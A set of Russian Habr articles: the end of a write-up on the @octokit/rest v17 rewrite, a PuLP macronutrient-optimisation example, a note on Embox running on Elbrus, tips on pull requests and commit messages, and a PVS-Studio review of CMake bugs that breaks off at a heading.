3474 index.d.ts
3441 index.js.flow
101 lib/endpoint/ # 4 files
162 lib/request/ # 3 files
83 lib/plugins/authentication/ # 3 files
130 lib/plugins/endpoint-methods/ # 4 files
130 lib/plugins/pagination/ # 11 files
58 lib/parse-client-options.js
10628 lib/routes.json
18238 total
```
В течение следующих шести месяцев я реорганизовал код и начал извлекать некоторые из модулей:
* [`@octokit/endpoint`](https://github.com/octokit/endpoint.js): превращает параметры конечной точки API REST в общие параметры http-запроса
* [`@octokit/request`](https://github.com/octokit/request.js): отправляет параметризованные запросы в API GitHub с разумными настройками по умолчанию в браузерах и Node
* [`before-after-hook`](https://github.com/gr2m/before-after-hook): API использующееся для подключения к жизненному циклу запроса
В ноябре 2018 года, после использования плагинов внутри проекта в течение примерно шести месяцев, была анонсирована [v16](https://github.com/octokit/rest.js/releases/tag/v16.0.1) включающая API для плагинов. Большая часть библиотеки была переведена на систему [внутренних плагинов](https://github.com/octokit/rest.js/tree/v16.0.1/plugins), для их дальнейшего извлечения.
Новая архитектура внутреннего кода теперь выглядела так:
*Обратите внимание, что этот пример был упрощен для удобства чтения*
```
➜ rest.js git:(01763bf) wc -l index.* plugins/**/*.{js,json} lib/**/*.js
14 index.js
26714 index.d.ts
110 lib/ # 6 files
86 plugins/authentication/ # 3 files
77 plugins/pagination/ # 3 files
39 plugins/register-endpoints/ # 3 files
108 plugins/validate/ # 2 files
10275 plugins/rest-api-endpoints/routes.json
37423 total
```
Позже я создал [`@octokit/core`](https://github.com/octokit/core.js) — новую базовую библиотеку Octokit JavaScript, на которой будут основываться `@octokit/rest` и остальные библиотеки группы Octokit. Большая часть его логики была извлечена из `@octokit/rest` за исключением устаревших функций. Я не стал использовать его сразу в `@octokit/rest`, чтобы избежать критических изменений.
Поскольку `@octokit/core` был свободен от любого legacy и проблем с обратной совместимостью, я продолжил эксперименты с разбивкой средств аутентификации. Результатом стали отдельные пакеты для каждой стратегии аутентификации — все они перечислены в [`README @octokit/auth`](https://github.com/octokit/auth.js#readme). Если вы хотите узнать больше о стратегиях аутентификации GitHub, то предлагаю ознакомиться с моей [серией статей (eng)](https://dev.to/gr2m/github-api-authentication-introduction-39dj).
`@octokit/core` и отдельные библиотеки аутентификации заменяют весь код из `lib/* и plugins/authentication/*`. Осталось только три плагина, которые я извлек в дальнейшем:
* [`@octokit/plugin-rest-endpoint-methods`](https://github.com/octokit/plugin-rest-endpoint-methods.js#readme)
* [`@octokit/plugin-paginate-rest`](https://github.com/octokit/plugin-paginate-rest.js#readme)
* [`@octokit/plugin-request-log`](https://github.com/octokit/plugin-request-log.js#readme)
Плагин `validate` устарел благодаря типизации от TypeScript во время компиляции и больше не было необходимости проверять параметры запроса на клиенте. Это значительно уменьшило количество кода и зависимостей. Например, вот текущее определение для метода `octokit.checks.create()`:
```
{
checks: {
create: {
headers: { accept: "application/vnd.github.antiope-preview+json" },
method: "POST",
params: {
actions: { type: "object[]" },
"actions[].description": { required: true, type: "string" },
"actions[].identifier": { required: true, type: "string" },
"actions[].label": { required: true, type: "string" },
completed_at: { type: "string" },
conclusion: {
enum: [
"success",
"failure",
"neutral",
"cancelled",
"timed_out",
"action_required"
],
type: "string"
},
details_url: { type: "string" },
external_id: { type: "string" },
head_sha: { required: true, type: "string" },
name: { required: true, type: "string" },
output: { type: "object" },
"output.annotations": { type: "object[]" },
"output.annotations[].annotation_level": {
enum: ["notice", "warning", "failure"],
required: true,
type: "string"
},
"output.annotations[].end_column": { type: "integer" },
"output.annotations[].end_line": { required: true, type: "integer" },
"output.annotations[].message": { required: true, type: "string" },
"output.annotations[].path": { required: true, type: "string" },
"output.annotations[].raw_details": { type: "string" },
"output.annotations[].start_column": { type: "integer" },
"output.annotations[].start_line": { required: true, type: "integer" },
"output.annotations[].title": { type: "string" },
"output.images": { type: "object[]" },
"output.images[].alt": { required: true, type: "string" },
"output.images[].caption": { type: "string" },
"output.images[].image_url": { required: true, type: "string" },
"output.summary": { required: true, type: "string" },
"output.text": { type: "string" },
"output.title": { required: true, type: "string" },
owner: { required: true, type: "string" },
repo: { required: true, type: "string" },
started_at: { type: "string" },
status: { enum: ["queued", "in_progress", "completed"], type: "string" }
},
url: "/repos/:owner/:repo/check-runs"
}
}
}
```
Начиная с v17, определение того же метода выглядит следующим образом :
```
{
checks: {
create: [
"POST /repos/{owner}/{repo}/check-runs",
{ mediaType: { previews: ["antiope"] } },
];
}
}
```
В конце, ранее извлеченный код был собран в обещанные 10 строк:
```
import { Octokit as Core } from "@octokit/core";
import { requestLog } from "@octokit/plugin-request-log";
import { paginateRest } from "@octokit/plugin-paginate-rest";
import { restEndpointMethods } from "@octokit/plugin-rest-endpoint-methods";
import { VERSION } from "./version";
export const Octokit = Core.plugin([
requestLog,
paginateRest,
restEndpointMethods,
]).defaults({ userAgent: `octokit-rest.js/${VERSION}` });
```
Тесты
-----
Каждая строка кода была изменена между версиями v16 и v17, поэтому единственный способ убедиться в отсутствии новых ошибок — провести полное тестирование.
На момент создания модуля в 2017 году у нас не было никаких тестов, но были [примеры использования](https://github.com/octokit/rest.js/tree/v10.1.0/examples). Первым делом я превратил их в интеграционные тесты, а поскольку JavaScript Octokit SDK задумывался как основа SDK для всех популярных языков, я создал [`octokit/fixtures`](https://github.com/octokit/fixtures) — независимый от языка, автоматически обновляемый набор макетов http для общих случаев использования.
Для оставшейся логики, специфичной для `@octokit/rest`, были написаны интеграционные тесты для 100% покрытия. На сегодняшний момент, если значение опустится ниже 100% тесты упадут.
> Прим. переводчика: [да, это жёстко](https://www.youtube.com/watch?v=9mvm0TlHO4s)
Работая над переходом на v17 с 10 строками кода, я продолжал запускать тесты из v16, за исключением тестов для устаревшего API. В то же время, слишком большое количество тестов не слишком хорошо, поэтому после успешной проверки v17, тесты не относящиеся к `@octokit/rest` были удалены. Некоторые из них были перенесены в плагины, `@octokit/core` или `@octokit/request`. На данный момент осталось несколько smoke-тестов и сценариев с использованием `@octokit/fixtures`.
Будущее
-------
`@octokit/rest` начинался как пакет для REST API GitHub, но с 17 версии, это будет полноценная библиотека JavaScript, включающая вспомогательные функции для API `@octokit/rest`, с пагинацией, троттлингом и повторными запросами. Также будут поддерживаться все существующие и будущие стратегии аутентификации и GraphQL, так как он является частью `@octokit/core`.
В конце, я хотел бы сказать спасибо [Фабиану Джейкобсу](https://twitter.com/fjakobs), [Майку де Буру](https://mikedeboer.nl/) и [Джо Галло](https://github.com/kaizensoze), которые создали и поддерживали модуль `github` до того, как он превратился в `@octokit/rest`. | https://habr.com/ru/post/496598/ | null | ru | null |
# PULP БЖУ
Пусть у нас есть картофель фри, котлета, хлеб, помидор, огурец и молочный коктейль. Сколько чего нужно съесть, чтобы получилось 30 гр. белка, 25 гр. жиров и 60 гр. углеводов? В прошлый раз я баловался и пытался решить это с помощью [матриц](https://habr.com/ru/post/576348/), на этот раз - с помощью линейных уравнений и python библиотеки [PuLP](https://github.com/coin-or/pulp).
Немного про PuLP (Python Linear programming)
--------------------------------------------
Пользоваться этим модулем очень просто.
Например, если нам нужно создать переменную 0 <= x <= 3, то синтаксис будет такой:
```
x = LpVariable("x", 0, 3)
```
Для переменной 0 <= y <= 1:
```
y = LpVariable("y", 0, 1)
```
Функция LpProblem() для создания задачи:
```
prob = LpProblem("Моя проблемка", LpMinimize)
```
Дальше можно комбинировать переменные, выражения и константы, добавляя их в задачу:
```
prob += x + y <= 2
```
Если вы добавите выражение (не ограничение), оно станет целью: (в оригинале If you add an expression (not a constraint), it will become the objective:)
```
prob += -4*x + y
```
Для решения можно использовать встроенный "решатель":
```
status = prob.solve()
```
Просмотр статуса у решения:
```
LpStatus[status]
> 'Optimal'
```
И можно после этого получить значение:
```
value(x)
> 2.0
```
Полная документация <https://coin-or.github.io/pulp/>.
Решение с помощью PuLP полный код
---------------------------------
Вот такие у нас есть продукты с такими белками, жирами и углеводами ( БЖУ) на 100 гр. продукта:
| | | | |
| --- | --- | --- | --- |
| | **Белки** | **Жиры** | **Углеводы** |
| Картофель фри | 3,4 | 15 | 41 |
| Котлета | 14,1 | 15,7 | 6,6 |
| Хлеб | 8,8 | 3,3 | 46,7 |
| Помидор | 1,1 | 0,2 | 3,8 |
| Огурец | 0,8 | 0,1 | 2,5 |
| Молочный коктейль | 6 | 5 | 45 |
Ставим:
```
pip install pulp
```
Полный код программы, можно вставить в файл и запустить:
```
import pulp as pl
data = {
'Картошка фри': {'Б': 3.4, 'Ж': 15, 'У': 41},
'Котлета': {'Б': 14.1, 'Ж': 15.7, 'У': 6.6},
'Хлеб': {'Б': 8.8, 'Ж': 3.3, 'У': 46.7},
'Помидор': {'Б': 1.1, 'Ж': 0.2, 'У': 3.8},
'Молочный коктейль': {'Б': 6, 'Ж': 5, 'У': 45},
'Огурец': {'Б': 0.8, 'Ж': 0.1, 'У': 2.5},
}
# Макронутриенты (БЖУ), которые нужно получить
needed = {'Б': 30, 'Ж': 25, 'У': 60}
# Минимум 10 гр. надо съесть, иначе может посчитать с нулями
# Можно задать для каждого продукта отдельно
MIN = 0.1
# Максимум 150 гр.
MAX = 1.5
prob = pl.LpProblem("The Nutrients Problem", pl.LpMinimize)
# Создаем переменные для каждого продукта
food = pl.LpVariable.dicts('Food', data, MIN, MAX)
for nutrient in list('БЖУ'):
# Для бел., жиров и угл. создаем условия
prob += pl.lpSum([data[k][nutrient] * food[k]
for k in data]) == needed[nutrient]
prob.writeLP("Nutrients.lp")
prob.solve()
# Нельзя съесть -минус 10 гр. огурцов. Значит решения нет, если есть хоть 1
# отрицательное значение
if any((v.varValue or 0) < 0 for v in prob.variables()) is False:
for v in prob.variables():
if not v.varValue:
continue
name = v.name.replace('Food_', '')
weight = int(v.varValue*100)
print(f'{name}: {weight} гр.')
```
В коде есть такая строка (она не обязательна):
```
prob.writeLP("Nutrients.lp")
```
Она создает файл Nutrients.pl, если заглянуть внутрь него, то можно увидеть все формулы, константы и условия, что очень удобно:
```
\* The_Nutrients_Problem *\
Minimize
OBJ: __dummy
Subject To
_C1: 3.4 Food_Картошка_фри + 14.1 Food_Котлета + 6 Food_Молочный_коктейль
+ 0.8 Food_Огурец + 1.1 Food_Помидор + 8.8 Food_Хлеб = 30
_C2: 15 Food_Картошка_фри + 15.7 Food_Котлета + 5 Food_Молочный_коктейль
+ 0.1 Food_Огурец + 0.2 Food_Помидор + 3.3 Food_Хлеб = 25
_C3: 41 Food_Картошка_фри + 6.6 Food_Котлета + 45 Food_Молочный_коктейль
+ 2.5 Food_Огурец + 3.8 Food_Помидор + 46.7 Food_Хлеб = 60
Bounds
0.1 <= Food_Картошка_фри <= 1.5
0.1 <= Food_Котлета <= 1.5
0.1 <= Food_Молочный_коктейль <= 1.5
0.1 <= Food_Огурец <= 1.5
0.1 <= Food_Помидор <= 1.5
0.1 <= Food_Хлеб <= 1.5
__dummy = 0
End
```
#### Отрицательные значения
Есть байка, что древние римляне ходили с гусиным перышком на пир, чтобы в нужный момент пощекотать себе горло, очистить желудок и наслаждаться пиршеством дальше. Но даже если бы Миа была бы древней римлянкой, и ходила с пером, то это бы ей не помогло, когда программа выдаст съесть - минус 100 грамм картошки фри. Поэтому я отбросил в коде такие вариации.
Код на [гитхаб](https://github.com/Alexmod/macronutrients)
Итого
-----
Если бы Миа пришла в ресторан со своими весами, а не с запрещенными веществами, и с ясной целью получить 30 гр. белка, 25 гр. жиров и 60 гр. углеводов, то она должна была бы съесть:
* Картошка фри: 10 гр.
* Котлета: 128 гр.
* Молочный коктейль: 10 гр. (~~После Винсента не стоит его пить~~)
* Огурец: 150 гр.
* Помидор: 150 гр.
* Хлеб: 71 гр. | https://habr.com/ru/post/578796/ | null | ru | null |
# Embox — открытая ОС на Эльбрусе
Всем привет.
Конечно, многие знают о том, какие [Эльбрусы](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D1%8C%D0%B1%D1%80%D1%83%D1%81_(%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80%D0%BD%D0%B0%D1%8F_%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0)) закрытые. Это является, наверное, самой главной претензией, предъявляемой к данным процессорам. Эти претензии небезосновательны, в МЦСТ их признают. Но, как говорится, нельзя “просто так взять и открыть исходники для Эльбруса”, ведь большинство работ велось для определенного заказчика и их разглашение — нарушение договора. С другой стороны, МЦСТ понимают проблему закрытости и стараются изменить ситуацию. Мы в проекте [Embox](https://github.com/embox/embox) тоже пытаемся этому способствовать по мере сил. О наших успехах в данном направлении вы можете узнать из этой статьи.
Начну с напоминания, у нас есть серия статей о портировании Embox на процессор Эльбрус ([раз](https://habr.com/ru/company/embox/blog/421441/), [два](https://habr.com/ru/company/embox/blog/447704/), [три](https://habr.com/ru/company/embox/blog/447744/), [четыре](https://habr.com/ru/company/embox/blog/485694/)). Нам удалось достичь хороших успехов в своей работе и раскрыть довольно много особенностей данной архитектуры, например организацию регистровых окон. Да, осталось еще много белых пятен, но на процессоре работала полноценная многозадачная ОС, а это, согласитесь, уже очень хороший результат.
Самое тонкое место заключалось в том, что это нужно на чем-то проверить. Ведь в отличие от прикладного ПО, которое может быть опробовано удаленно на кластере (МЦСТ предоставляет такие возможности) или на не так давно разработанном энтузиастами [qemu-e2k-userspace](https://github.com/OpenE2K/qemu-e2k), системные части можно проверить только на реальном оборудовании, ведь для них нужно иметь доступ и к прерываниям, к переключению контекста и так далее.
Мы использовали машину Монокуб, которая у нас была, но она недоступна для широкой аудитории. Мы подумали, что наиболее доступной является машина [PC101](http://www.ineum.ru/elbrus_101-pc). Не уверен, что ее сейчас можно купить, но она точно есть в различных учреждениях в довольно приличном количестве. Это дает возможность проверить как работает свободная ОС на данной платформе. Ведь исходники открытые и их можно изучить и при желании модифицировать.
Итак, теперь доступна версия Embox для pc101. Собрать версию по умолчанию для данной машины можно с помощью команд:
```
make confload-e2k/pc_101
make
```
Примечание: мы собирали на обычном Linux с помощью кросс-компилятора. Для того, чтобы использовать компилятор на самой эльбрусовской машине, достаточно в файле ./conf/build.conf закоментировать (или удалить) строчку:
```
// CROSS_COMPILE = e2k-linux-
```
Загрузка может осуществляться с помощью ATA Over Ethernet, но на этот раз мы решили, что правильнее положить образ на диск.
Для этого устанавливаем Linux (я использовал Alt Linux) и помещаем образ embox в папку /boot/. Для удобства загрузки лучше добавить в файл /boot/boot.conf следующие строчки:
```
label=embox
partition=0
image=/embox.bin
initrd=
cmdline=
```
Собственно, этого достаточно. Перегружаем и нажимаем любую клавишу, когда загружается начальный загрузчик. Выбираем пункт ‘b’, boot и в нем выбираем ‘embox’ пункт, который вы добавили в файл /boot/boot.conf.
Наверное, все. Остальное прекрасно видно из этого видео.
На самом деле основная новость заключается в том, что у нас с МЦСТ подписано соглашение, по которому Embox являемся свободной ОС запускаемой на Эльбрусе, код которой можно изучать и заимствовать. Напоминаю [ссылку на репозиторий](https://github.com/embox/embox) и прикладываю скан соглашения.
Тема открытости Эльбруса на самом деле очень важная. Не так давно образовалось сообщество энтузиастов, которые стараются популяризовать данную архитектуру и сделать ее более открытой. В этом комьюнити есть github: <https://github.com/e2k-community>, один из их проектов я уже приводил в статье: это добавление поддержки E2k в QEMU. У комьюнити есть [канал на youtube](https://www.youtube.com/channel/UCkUZ9jJWVkXkYRenK5aTO6g), правда пока видео с только одного ивента, но и комьюнити сформировалось не так давно. К тому же в пятницу 13 мая 2022 в 19.00 состоится второй митап, на котором мы тоже будем выступать.
В программе:
📜 Вступительное слово — Емец Станислав
💻 ОСРВ Embox на платформе Эльбрус — Антон Бондарев, основатель проекта Embox, расскажет, как производилось портирование ОС Embox на Эльбрус.
🚢 Управление LXC с помощью Ansible — Емец Станислав, расскажу, как можно автоматизировать развертывание LXC контейнеров на ОС Эльбрус.
[Ссылка на трансляцию.](https://www.youtube.com/watch?v=zGilgjfsSCY) | https://habr.com/ru/post/665420/ | null | ru | null |
# Срез личного опыта: разработка, пулл реквесты, коммиты, софт скиллы
Привет, Хабрахабр! В этой статье поделюсь своим мнением про разработку програмного обеспечения. В информационных технологиях я не так давно, но у меня сложилось стойкое отношение к разработке, начиная от названий коммитов и заканчивая прояснением требований к поставленной задаче.
Разработка
----------
### Однотипные изменения
Представьте, что вам досталась задача, в которой необходимо сперва разработать оптимизированное решение, а потом использовать его вместо старого в десятке файлов в проекте. Сперва получите аппрув, что ваш подход к решению задачи правильный, а потом занимайтесь рефакторингом. Решите сделать все и сразу — на код ревью можете получить критичные замечания и правки к решению. Тогда придется переписывать все файлы, в котором вы применили новый код.
### Реализация задач
Не решайте задачу «с саблей наголо», не принимайте важных решений поспешно, даже если кажется, что ваш подход правильный. Придерживайтесь следующих рекомендаций:
* Проведите анализ существующих реализаций в проекте или в сети, освежите в памяти принципы и паттерны проектирования.
* Не тратьте больше 20 минут на решение типичных или слишком сложных проблем, это не эффективно. Скорее всего, если вы не нашли правильный подход быстро, решение не очевидно.
* Просите помощи у коллег, включая лид-разработчиков.
* Решайте задачу в рамках подзадач шаг за шагом, не перепрыгивайте — «сложное сделаю потом». Вполне может оказаться, что правильных решений нет, а существующие не подходят и задачу надо пересмотреть.
* Решайте задачу начиная с фундаментальных вещей, убедитесь, что концептуальные участки работают. Может оказаться, что по отдельности ваш функционал жизнеспособен, а соединить его между собой потребует «костылей» или другого комплексного подхода, что займет лишнее время.
Пулл реквесты
-------------
### Название
Название должно тезисно описывать изменения — быть кратким и лаконичным. Следуйте правилам оформления заголовков:
* начинаться с заглавной буквы,
* без точки вконце,
* иметь повелительное наклонение.
```
Ticket-295: Add base cat interface and British cat realization
```
### Описание
Этот раздел пулл реквеста должен быть написан грамотно на понятном не техническому специалисту языке, разделен по смысловой нагрузке, и раскрывать изменения следующим образом:
* итог в нескольких предложениях,
* что предшествовало изменениям,
* почему и зачем их нужно было делать,
* что именно вы сделали,
* как вы это реализовали.
```
The base cats interface was created to provide the common cats functionality and attributes. Also the realization of the British cats was created as the individual one.
Our business-analytics have provided for product owner that they want to interact
with cats on out platform too, not only with docs. So developers got the tasks to
design and implement basic implementation of the cats interface to describe the common
patterns of the interaction with it by user. Also the goal was to create one
demo cat called British cats (British Shorthair) with its great noses.
```
### Справка
Вконце оставляйте ссылки на темы, затронутые в пулл реквесте. Если другому разработчику нужно лучше разобраться в изменениях, он сможет туда заглянуть. Также несколько правил:
* кратко описывайте куда направляет справка,
* если возможно — кидайте полные ссылки,
* если нет — сокращайте с помощью [git.io](https://git.io) и [bit.ly](https://bit.ly),
* оформляйте списком.
```
References:
• British cats — https://en.wikipedia.org/wiki/British_Shorthair
• Cats anatomy — https://en.wikipedia.org/wiki/Cat_anatomy
```
Коммиты
-------
### Коммит на слияние
Когда вы работаете над новыми изменениями, вы делаете это в отдельной рабочей ветке. Коммиты в рабочей ветке — самодокументирующиеся одной строкой изменения.
```
$ git log --oneline
4336d35 Create cats interface
7bc2ba9 Implement Persian cat realization
5f330fd Add Persian cat documentation
...
```
Когда приходит время внести эти изменения в дефолтную ветку, это делается одним большим коммитом с заголовком и комплексным описанием, что было сделано и почему. Правильная практика слияния изменений — использовать веб-интерфейс систем хранения исходного кода как [Github](https://github.com) и [Gitlab](https://gitlab.com).
```
$ git log --oneline
d2ccf1a Ticket-299: Prevent cats graph be stopped unexpectedly (#301)
82a921a Ticket-295: Add base cat interface and british cat realization (#293)
...
```
В итоге дефолтная ветка наполнена коммитами с детальным описанием изменений.
```
Ticket-299: Prevent cats graph be stopped unexpectedly
There was a situation when cats graph is stopped unexpectedly without
any verbose information and traceback. The socket connection between
two web-servers (back-end and front-end) was successfully debugged
and founded the socket library async latent behavior.
Implemented:
— Create handler for async socket connection as sync. The consumer doesnt
specify a condition for ending the while loop and stream, so the application
checker in Daphne cleans up the task if the protocol disconnects and the app
doesnt handle it. So `channel_layer` is wrapped to `async_to_sync`.
— Fix low latency between pushing the cats graph data and its output on the
user interface. There was a high coupling between interface class that proxy
via a few client to the realization. The separated cats graph message class
was created.
References:
• Socket channel layers — https://channels.docs.io/channel_layers.html
• Daphne handle_reply() — https://git.io/fgVzK
Issue: #56
```
Следуйте следующим правилам при составлении коммитов на слияние:
* все изменения в одном коммите;
* заголовок и блоки текста с разной смысловой нагрузкой отделяются пустой строкой;
* охарактеризируйте изменения: почему они были нужны, какую проблему они решают;
* подробно в виде списка опишите каждое изменение: вдавайтесь в детали и последствия,
* сделайте ваше решение очевидным;
* оставляйте ссылки на справки, документации, форумы, обсуждения проблем;
* ссылайтесь на топики или пулл реквесты, если ваши изменения к ним относятся;
* ограничьте длину строк в сообщении 72 символами.
Софт скиллы
-----------
### Письменная коммуникация
Разработчики каждый день ведут письменное общение на технические темы, о проектах, подходах к решению задач, но не всегда делают это хорошо. Человек, с которым вы коммуницируете не читает ваших мыслей, не думает также как и вы, и не помнит детали темы предложения, которую вы ведете. Как можно улучшить этот процесс:
* Соблюдайте правила орфографии и пунктуации, чтобы разграничить текст по смыслу.
* Используйте переносы строк и оставляйте пустые строки между несвязанными блоками текста.
* Используйте списки, чтобы выделить последовательность или маркировать предложения.
* Используйте сервисы для шаринга части кода или пользуйтесь корпоративными инструментами: [Pastebin](https://pastebin.com/), [Github Gist](https://gist.github.com/), [Codeshare](https://codeshare.io/) или, например, в мессенджере [Slack](https://slack.com/) есть функция в чате **code or text snippet**.
* Выделяйте собственные имена, важные слова и детали с помощью, встроенной в ваш мессенджер, разметки. Сейчас любые современные мессенджы поддерживают выделение текста по типу такого.
* Подкрепляйте предмет обсуждения ссылками на документацию, статьи или сообщения из форумов.
* Не пишите и не показывайте лишнюю информацию для собеседника. Например, не заливайте только что сделанный скриншот с именем в формате даты **Screen Shot 2018-06-23 at 12.17.31 AM**, если собеседник увидит эту надпись. Переменуйте ближе к теме обсуждения **Traceback during user's registration process.jpg**.
### Ответственность
Вы растете как профессионал не только, когда получаете новый опыт и знания, но и если:
* при решении задач консультируйтесь с экспертами;
* вашу работу можно сделать лучше — улучшайте;
* работу коллеги можно сделать лучше — говорите ему об этом;
* что-то не знаете — признаете это и просите помочь;
* улушаете процессы, привносите новое и не игнорируйте проблемы.
Спасибо, что уделили время публикации. Оставляйте отзывы в личные сообщения или комментарии, буду рад обсудить. | https://habr.com/ru/post/416545/ | null | ru | null |
# CMake: тот случай, когда проекту непростительно качество его кода
CMake — это кроссплатформенная система автоматизации сборки проектов. Эта система намного старше, чем статический анализатор кода PVS-Studio, при этом ещё никто не попробовал применить его к коду и сделать обзор ошибок. Ошибок, оказывается, много. Аудитория CMake огромна. На нём начинаются новые проекты и переносятся старые. Страшно представить, у скольких программистов могла проявиться та или иная ошибка.
Введение
--------
[CMake](https://cmake.org/) (от англ. cross-platform make) — это кроссплатформенная система автоматизации сборки программного обеспечения из исходного кода. CMake не занимается непосредственно сборкой, а лишь генерирует файлы управления сборкой из файлов CMakeLists.txt. Первый выпуск программы состоялся в 2000 году. Для сравнения, статический анализатор [PVS-Studio](https://www.viva64.com/ru/pvs-studio/) появился только в 2008 году. Тогда он был ориентирован на поиск ошибок портирования программ с 32-х битных систем на 64-битные, а в 2010 году появился первый набор диагностик общего назначения ([V501](https://www.viva64.com/ru/w/v501/)-[V545](https://www.viva64.com/ru/w/v545/)). Кстати, на коде CMake есть несколько предупреждений из этого первого набора.
Непростительные ошибки
----------------------
[V1040](https://www.viva64.com/ru/w/v1040/) Possible typo in the spelling of a pre-defined macro name. The '\_\_MINGW32\_' macro is similar to '\_\_MINGW32\_\_'. winapi.h 4112
```
/* from winternl.h */
#if !defined(__UNICODE_STRING_DEFINED) && defined(__MINGW32_)
#define __UNICODE_STRING_DEFINED
#endif
```
Диагностика [V1040](https://www.viva64.com/ru/w/v1040/) только недавно была реализована. На момент публикации статьи, скорее всего, ещё не будет релиза с ней, но с помощью этой диагностики уже удалось найти крутую ошибку.
Здесь допустили опечатку в имени *\_\_MINGW32\_*. В конце не хватает одного символа подчёркивания. Если сделать поиск по коду с этим именем, то можно убедиться, что в проекте действительно используют версию именно с двумя подчёркиваниями с двух сторон:
[V531](https://www.viva64.com/ru/w/v531/) It is odd that a sizeof() operator is multiplied by sizeof(). cmGlobalVisualStudioGenerator.cxx 558
```
bool IsVisualStudioMacrosFileRegistered(const std::string& macrosFile,
const std::string& regKeyBase,
std::string& nextAvailableSubKeyName)
{
....
if (ERROR_SUCCESS == result) {
wchar_t subkeyname[256]; // <=
DWORD cch_subkeyname = sizeof(subkeyname) * sizeof(subkeyname[0]); // <=
wchar_t keyclass[256];
DWORD cch_keyclass = sizeof(keyclass) * sizeof(keyclass[0]);
FILETIME lastWriteTime;
lastWriteTime.dwHighDateTime = 0;
lastWriteTime.dwLowDateTime = 0;
while (ERROR_SUCCESS ==
RegEnumKeyExW(hkey, index, subkeyname, &cch_subkeyname, 0, keyclass,
&cch_keyclass, &lastWriteTime)) {
....
}
....
}
```
Когда массив объявлен статически, то оператор *sizeof* посчитает его размер в байтах с учётом и количества элементов, и размера элементов. При вычислении значения переменной *cch\_subkeyname* программист не учёл этого и получил значение в 4 раза больше запланированного. Поясним откуда это «в 4 раза».
Массив и его неправильный размер передаётся в функцию [RegEnumKeyExW](https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regenumkeyexw):
```
LSTATUS RegEnumKeyExW(
HKEY hKey,
DWORD dwIndex,
LPWSTR lpName, // <= subkeyname
LPDWORD lpcchName, // <= cch_subkeyname
LPDWORD lpReserved,
LPWSTR lpClass,
LPDWORD lpcchClass,
PFILETIME lpftLastWriteTime
);
```
Указатель *lpcchName* должен указывать на переменную, содержащую размер буфера в символах: «A pointer to a variable that specifies the size of the buffer specified by the *lpClass* parameter, in characters». Размер массива *subkeyname* составляет 512 байт и он способен хранить 256 символов типа *wchar\_t* (в Windows wchar\_t это 2 байта). Именно это значение в 256 и должно быть передано в функцию. Вместо этого 512 ещё раз умножается на 2 и получается 1024.
Думаю, как исправить ошибку теперь понятно. Нужно вместо умножения использовать деление:
```
DWORD cch_subkeyname = sizeof(subkeyname) / sizeof(subkeyname[0]);
```
Кстати, точно такая же ошибка происходит и при вычислении значения переменной *cch\_keyclass*.
Описанная ошибка может потенциально привести к переполнению буфера. Нужно обязательно исправить все такие места:
* V531 It is odd that a sizeof() operator is multiplied by sizeof(). cmGlobalVisualStudioGenerator.cxx 556
* V531 It is odd that a sizeof() operator is multiplied by sizeof(). cmGlobalVisualStudioGenerator.cxx 572
* V531 It is odd that a sizeof() operator is multiplied by sizeof(). cmGlobalVisualStudioGenerator.cxx 621
* V531 It is odd that a sizeof() operator is multiplied by sizeof(). cmGlobalVisualStudioGenerator.cxx 622
* V531 It is odd that a sizeof() operator is multiplied by sizeof(). cmGlobalVisualStudioGenerator.cxx 649
[V595](https://www.viva64.com/ru/w/v595/) The 'this->BuildFileStream' pointer was utilized before it was verified against nullptr. Check lines: 133, 134. cmMakefileTargetGenerator.cxx 133
```
void cmMakefileTargetGenerator::CreateRuleFile()
{
....
this->BuildFileStream->SetCopyIfDifferent(true);
if (!this->BuildFileStream) {
return;
}
....
}
```
Указатель *this->BuildFileStream* разыменовывается прямо перед проверкой на валидность. Неужели это ни у кого не вызывало проблем? Ниже ещё один пример такого места. Оно сделано прямо под копирку. Но на самом деле, предупреждений [V595](https://www.viva64.com/ru/w/v595/) очень много и большинство из них не такие очевидные. По опыту могу сказать, что исправлять предупреждения этой диагностики дольше всего.
* V595 The 'this->FlagFileStream' pointer was utilized before it was verified against nullptr. Check lines: 303, 304. cmMakefileTargetGenerator.cxx 303
[V614](https://www.viva64.com/ru/w/v614/) Uninitialized pointer 'str' used. cmVSSetupHelper.h 80
```
class SmartBSTR
{
public:
SmartBSTR() { str = NULL; }
SmartBSTR(const SmartBSTR& src)
{
if (src.str != NULL) {
str = ::SysAllocStringByteLen((char*)str, ::SysStringByteLen(str));
} else {
str = ::SysAllocStringByteLen(NULL, 0);
}
}
....
private:
BSTR str;
};
```
Анализатор обнаружил использование неинициализированного указателя *str*. А возникло это из-за обычной опечатки. При вызове функции *SysAllocStringByteLen* надо было использовать указатель *src.str*.
[V557](https://www.viva64.com/ru/w/v557/) Array overrun is possible. The value of 'lensymbol' index could reach 28. archive\_read\_support\_format\_rar.c 2749
```
static int64_t
expand(struct archive_read *a, int64_t end)
{
....
if ((lensymbol = read_next_symbol(a, &rar->lengthcode)) < 0)
goto bad_data;
if (lensymbol > (int)(sizeof(lengthbases)/sizeof(lengthbases[0])))
goto bad_data;
if (lensymbol > (int)(sizeof(lengthbits)/sizeof(lengthbits[0])))
goto bad_data;
len = lengthbases[lensymbol] + 2;
if (lengthbits[lensymbol] > 0) {
if (!rar_br_read_ahead(a, br, lengthbits[lensymbol]))
goto truncated_data;
len += rar_br_bits(br, lengthbits[lensymbol]);
rar_br_consume(br, lengthbits[lensymbol]);
}
....
}
```
Сразу несколько проблем обнаружено в этом фрагменте кода. При обращении к массивам *lengthbases* и *lengthbits* возможен выход за границу массива, потому что выше по коду разработчики написали оператор '>' вместо '>='. Такая проверка стала пропускать одно недопустимое значение. Перед нами не что иное, как классический паттерн ошибки под названием [Off-by-one Error](https://cwe.mitre.org/data/definitions/193.html).
Весь список мест обращений к массивам по невалидному индексу:
* V557 Array overrun is possible. The value of 'lensymbol' index could reach 28. archive\_read\_support\_format\_rar.c 2750
* V557 Array overrun is possible. The value of 'lensymbol' index could reach 28. archive\_read\_support\_format\_rar.c 2751
* V557 Array overrun is possible. The value of 'lensymbol' index could reach 28. archive\_read\_support\_format\_rar.c 2753
* V557 Array overrun is possible. The value of 'lensymbol' index could reach 28. archive\_read\_support\_format\_rar.c 2754
* V557 Array overrun is possible. The value of 'offssymbol' index could reach 60. archive\_read\_support\_format\_rar.c 2797
Утечка памяти
-------------
